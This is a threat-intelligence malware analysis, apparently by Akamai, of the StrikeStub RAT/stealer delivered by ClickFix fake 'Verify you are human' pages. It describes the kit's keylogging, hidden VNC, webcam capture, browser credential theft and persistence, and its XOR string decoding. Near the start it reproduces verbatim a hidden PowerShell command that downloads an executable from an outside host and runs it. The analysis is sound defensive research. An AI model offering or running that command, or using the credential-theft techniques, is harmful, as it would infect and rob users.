The ClickFix malware is a full-featured, modular Windows remote access trojan (RAT) and stealer kit likely distributed as malware as a service (MaaS), bearing architectural similarities to commercial builder kits like DcRat and AsyncRAT derivatives.
The embedded User-Agent string StrikeStub/1.0 strongly points to the actual family or builder product name.
The malware is distributed via ClickFix campaigns and actively masquerades as legitimate system components by naming its primary binary RuntimeBroker.exe with spoofed manifests and its persistence stage WindowsUpdate.exe.
Nearly all string literals are protected with compile-time XOR encryption to defeat basic static analysis, though breaking this routine recovered 67 operational strings.
The command and control (C2) channel operates over WebSockets and relies on a structured enrollment and challenge handshake sequence.
Operators can independently toggle modular espionage capabilities, including Hidden VNC, keylogging, webcam capture, live desktop streaming, and clipboard monitoring.
Credential extraction targets major browsers using DPAPI for Chromium variants alongside a dynamic profile-cloning workaround to bypass active SQLite file locks in Firefox.
The payload achieves resilient dual persistence through registry Run keys and the Startup folder while using an internal binder to drop and execute secondary stages at runtime.
The ClickFix attack vector originates from a compromised website, spiraldirect.ch, which presents victims with a fake human verification prompt titled “Verification Step” or “Verify you are human” (Figure 1).
The social engineering prompt tricks the victim into manually executing a sequence of three keyboard shortcuts:
Press Windows Key + R: Opens the Windows “Run” dialog box
Press Ctrl + V: Pastes the malicious obfuscated PowerShell command that was automatically placed onto the system clipboard by the website script (Figure 2)
Press Enter: Immediately executes the pasted command
[
"powershell -w hidden -c \"iwr \u0027http://squidscript.com/Cloudflare.exe\u0027 -OutFile \\\"$env:TEMP\\\\svc.exe\\\";Start-Process \\\"$env:TEMP\\\\svc.exe\\\"\"# \u2611\ufe0f \"Verify you are human - Ray Verification ID: 6450\"",
"powershell -w hidden -c \"iwr \u0027http://squidscript.com/Cloudflare.exe\u0027 -OutFile \\\"$env:TEMP\\\\svc.exe\\\";Start-Process \\\"$env:TEMP\\\\svc.exe\\\"\"# \u2611\ufe0f \"Verify you are human - Ray Verification ID: 6450\"",
"powershell -w hidden -c \"iwr \u0027http://squidscript.com/Cloudflare.exe\u0027 -OutFile \\\"$env:TEMP\\\\svc.exe\\\";Start-Process \\\"$env:TEMP\\\\svc.exe\\\"\"# \u2611\ufe0f \"Verify you are human - Ray Verification ID: 6450\""
]Upon execution, the PowerShell snippet runs silently in a hidden window (-w hidden). It downloads the secondary payload from http://squidscript.com/Cloudflare.exe via Invoke-WebRequest (iwr), saves it locally to the user's temporary directory as $env:TEMP\svc.exe, and launches the binary via Start-Process:
To blend into target environments, the malware relies on deceptive metadata and trusted Windows system process names to evade casual inspection, though its underlying toolchain betrays its origin. Analysis of the binary's headers reveals an active attempt to mimic legitimate Microsoft software, contrasted by structural signatures inconsistent with genuine Windows binaries (Table).
| Property | Value |
|---|---|
Format | PE32+ (x86-64), GUI subsystem |
Size | 1,475,072 bytes (1.4MB) |
Compiler | MinGW/GCC — confirmed via __gnu_cxx::__concurrence_* libstdc++ mangled symbols |
Compile timestamp | 2026-09-19 (PE header TimeDateStamp) — 5 days before discovery, an active build |
Packing | None — per-section entropy all in the normal 4.5–6.2 bits/byte range (.text 6.19, .rdata 5.14, .idata 4.58) |
Version resource | ProductName: "Microsoft Windows Operating System", fake © Microsoft Corporation, InternalName: RuntimeBroker, OriginalFilename: RuntimeBroker.exe, FileVersion: "1.0.0.19041.1 (WinBuild.160101.0800)" — mimics genuine Windows internal build-version formatting |
Manifest | <assemblyIdentity type="win32" name="Microsoft.Windows.RuntimeBroker" version="10.0.19041.1" processorArchitecture="amd64"/> |
Fig. 3: Malware binary file and build details
The tell: The real RuntimeBroker.exe is a genuine Microsoft binary built with MSVC. This sample's GCC/libstdc++ exception-handling symbols are something no authentic Microsoft binary would ever contain; that is, a reliable static differentiator if you needed to distinguish a real RuntimeBroker.exe from this on a live system without even reading the version resource.
Separately, its startup-folder persistence drop uses a second, different disguise: \Microsoft\WindowsUpdate.exe under the user's \Programs\startup folder — a different identity from the main payload's RuntimeBroker mask.
Nearly every string literal in the binary is encrypted at compile time using an automated XOR loop. Across approximately 236 locations in the .text section, the malware uses a Fibonacci-hashing multiplier (0x9e3779b9) combined with a per-string 16-bit constant to generate byte-by-byte decryption keys.
To decrypt the strings without manual tracing, an automated r2pipe extraction script was developed to scan the binary for the decryption routine, resolve the key parameters and target memory addresses, and decode the payload contents. This script successfully recovered 67 plain-text strings, uncovering critical details about the malware's command and control (C2) protocol, persistent capabilities, and browser credential theft mechanisms.
Imports: WinHttpWebSocketSend/Receive/Close/CompleteUpgrade (full WebSocket-over-WinHTTP support) plus a raw connect from WS2_32.dll. User-Agent sent: StrikeStub/1.0.
Decoded strings, in call order, reconstruct the full session-establishment protocol:
"--- Connect attempt #%d to %s:%d ---"
"WebSocket connected"
"Waiting for enrollment_challenge..."
"Received enrollment_challenge (%zu bytes)"
"Sending hello (id=%s, host=%s, user=%s)"
"hello_ack received - session established"
-> sessionLoop() [ongoing command loop; not reached in this decode pass]The C2 host/port are read from a runtime config, not hardcoded in this binary:
"Config: raw port field = '%s'"
"Config: host=%s port=%d"This explains why no plaintext or decodable C2 hostname exists anywhere in this file — it isn't here. It's either supplied via a companion config file, or unpacked via the binder feature (§4.5) at runtime. Recovering the actual IOC would require locating that config, not further static analysis of this binary alone.
"keylog_%04d-%02d-%02d.txt"
"keylog_live_data"
"keylog_clear_all"Standard log-to-dated-file keylogger, with a live-data mode and a clear/reset command — consistent with a remotely triggerable module rather than always-on logging.
"hvnc_start"
"hvnc_stop"
"hvnc_enable_keyboard"
"hvnc_enable_cursor"
"hvnc_select_display"HVNC creates an invisible virtual desktop the operator can interact with — the classic technique for live banking/account fraud, where the operator drives a session (e.g., logging into the victim's bank) while the victim's actual visible screen shows nothing unusual. The hvnc_select_display command implies multi-monitor awareness.
"webcam_stop" (implies a paired webcam_start)Imports: capCreateCaptureWindowA, GetDIBits, BitBlt, CreateCompatibleBitmap
"Desktop diag: DeviceCaps=%dx%d DesktopRes=%dx%d DPI=%dx%d SysMetrics=%dx%d VirtualScreen=%dx%d"
"Desktop: empty frame (w=%d h=%d quality=%d)"The "quality=%d" parameter suggests adjustable-quality live screen streaming, not just a single screenshot grab.
Clipboard imports GetClipboardData directly. (Notably ironic given this sample was found alongside unrelated ClickFix clipboard-hijack research — this RAT does its own clipboard monitoring, likely for crypto-clipper-style address swapping, independent of any ClickFix delivery mechanism.)
Binder/dropper can carry and launch additional embedded payload(s) at runtime:
"Binder: magic found, extracting bound file"
"Binder: name='%s' size=%u"
"Binder: extracted to %s (%u bytes written), launching..."
"Binder: fallback ShellExecute result=%d"
"Binder: ShellExecute OK (code=%d)"Browser credential theft: CryptUnprotectData (DPAPI) import, plus:
"cloned firefox profile from: "
"C:\Program Files\Google\Chrome\Application\chrome.exe"
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
"C:\Program Files (x86)\BraveSoftware\Brave-Browser\Application\brave.exe"
"C:\Program Files\Mozilla Firefox\firefox.exe"
"C:\Program Files (x86)\Mozilla Firefox\firefox.exe"The "cloned firefox profile" string confirms the standard trick of copying a browser's whole profile directory before reading its SQLite cookie/login databases, since the live files are locked while the browser is running.
Two mechanisms of persistence:
"Software\Microsoft\Windows\CurrentVersion\Run" (registry Run key)
"Startup: self path = %s"
"Startup: persistence path: %s"
"Startup: fallback to self path"
"Startup: RegCreateKeyEx = %ld"
"\Programs\"
"\Microsoft\WindowsUpdate.exe" (Startup-folder disguise, see §2)Anti-multi-instance named mutex check — "ABORT: duplicate instance (mutex=%s)"
Dynamic API resolution imports LoadLibraryA + GetProcAddress — the binary can resolve additional Windows APIs at runtime that never appear in its static import table. This is likely why more sensitive capabilities (e.g. process injection) don't show up as static imports even though the RAT clearly has a broad capability set.
Process/registry utility imports: OpenProcess, TerminateProcess, Process32NextW (process enumeration/killing), RegCreateKeyExA, RegOpenKeyExA, RegQueryValueExA, RegEnumKeyExA, RegCloseKey
This profile — modular toggle-able HVNC/keylogger/webcam/clipboard, a binder, a distinct persistence-stage disguise separate from the main payload's disguise, and a WebSocket enrollment challenge C2 handshake with config-driven address — matches the shape of a commercial or MaaS RAT/stealer builder kit (comparable with DcRat/AsyncRAT derivative families sold with a builder GUI on crime forums), not a bespoke one-off tool.
StrikeStub (from the User-Agent string) is the most likely actual family/product name to search on if cross-referencing against public threat intel.
As enterprise workflows shift toward agentic AI assistants and machine-to-machine web interactions, stealthy stealers like StrikeStub pose an amplified threat. Automated AI agents operating with local system privileges or browser access become prime targets for clipboard hijacking and session hijacking.
Securing the AI era requires visibility not just at the web perimeter, but deep inside workload boundaries through microsegmentation and adaptive API governance to block unauthorized C2 channels before sensitive large language model contexts are exfiltrated.
To replicate this string-decoding workflow against future variants or related samples sharing this builder pattern, use the following procedure to locate, extract, and cleanly recover the obfuscated payloads.
Identify the string-decode loop pattern via a few manual pdf/pd disassembly passes in radare2— look for a small multiply-shift-xor sequence feeding a byte-copy loop.
Confirm that the multiplier/shift constants are stable across sites, and only the source address, per-string XOR constant, and length vary.
Use r2pipe's JSON disassembly (pdj) rather than parsing the printed opcode string — RIP-relative operands print as a small relative displacement in opcode/disasm, but the resolved absolute address is in the ptr field of the same JSON object.
Search the whole binary for the fixed byte pattern of the multiply instruction (/x in r2) to enumerate every site, then batch-decode and filter by printable-character ratio to separate real strings from false-positive matches on unrelated code using the same multiply-constant idiom for something else (e.g., compiler-generated integer hashing).
Although this initial analysis mapped the core architecture and established a repeatable string recovery routine, several avenues remain unexplored for fully scoping this threat.
The following unresolved threads and next steps highlight key technical gaps where further static, configuration, or companion-sample analysis could yield actionable network indicators and broader campaign context.
A total of 169 of 236 decode sites remain unresolved (heuristic-window mismatch) — They could reveal the config file's expected path/format or the Binder's magic bytes if they’re re-run with a looser instruction-window search.
The actual C2 host/port was confirmed to be config-driven, not embedded — Finding the real network IOC requires locating and decoding that companion config, not more static analysis of this executable.
The companion sample from the same batch, 092d83ade48eb9c71d51de133253958e5c1977f637957e2ba3e1e4c35f4627ec.exe, has not yet been checked for the same string-encryption scheme/toolkit — It is worth a quick check for whether it's the same “StrikeStub” family (just a different build/config) or something unrelated.
© 2026 Akamai Technologies
